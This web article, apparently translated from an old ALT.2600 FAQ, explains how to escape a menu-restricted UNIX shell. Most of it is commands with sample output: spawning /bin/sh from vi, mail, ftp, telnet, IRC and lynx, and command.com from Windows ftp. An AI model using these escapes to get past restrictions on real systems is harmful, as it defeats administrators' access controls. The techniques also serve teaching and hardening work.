1. Home > Operating_system >

How to break through a limited SHELL

Get SHELL users (UNIX) in the menu?

1.1 The right to use the "vi" program (from the ALT.2600 question answering)
VI is a powerful text editor, you may have the opportunity to use it. You may get a SHELL.
Enter the following command in the VI state:

:shell=/bin/sh
Then run the SHELL command:
:shell

Note: If your SHELL is restricted to run the "CD" command, then please use FTP to get it.


The right to use the "mail" program

If you have the right to use the "mail" program to write letters, please follow the steps below:
In the menu Run the "mail" program on the option.

Example:
1.Email (mail) <--------Select this item to
Email No mail for user1.....
(He will automatically return to the options menu)

So before that, you have to write a letter to yourself

1.Email (mail) <----- ---Select this item to
Email Mail version ?. Type? For help.
"/var/spool/mail/user1": 1 messages

> 1 ck@ my.host.edu Thu Sep 1 1:11 1/99 "test"
&

Ok, now we stay at the "&" prompt of mail, so now we only need to enter the following Command:
&!/bin/sh[ENTER]
$ <------------ Finally no longer see the damn menu^_^

Note: In many programs, the character "!" can directly formulate and run a SHELL command. In a suitable situation, you can run "/bin/sh" to get a shell.


FTP and Telnet FTP and Telnet They also have the ability to use the character "!" to execute commands at the prompt:

ftp> !ps <---- ---- !(command)
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps

telnet>! ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps

In some users’ initial configuration files, and It will not configure the absolute path of all commands for you, so when you want to run a program, it will not be executed if the path is not found in your configuration file. At this time you have to enter the absolute path of the program.

Example:
ftp> !/usr/bin/ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps

ftp> !/usr/bin/ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0: 00 ps

Note: Try to execute it whenever possible! /bin/sh

Note: WIN95/98 AND NT:

ftp>!command. com Microsoft
Microsoft Windows NT DOS
Copyright Microsoft Corp 1990-1996.

C:\>


IRC

If there are restrictions on the SHELL menu, you can run the IRC client (Internet Relay Chat)
When logging in, you can execute any command
/EXEC (command)

< br/>Lynx can use the following commands lynxexec and lynxprog:

Example:
lynxexec:ls -l
lynxprog:news
lynxexec:/bin/sh

Example: lynx lynxexec://localhost/finger

PS: If there is an error, please point it out.

This article is published by www.internetweblist.com and does not represent the position of www.internetweblist.com/:http://www.internetweblist.com/Operating_system/31345.html

Contact Us

Online consultation:click here to give a message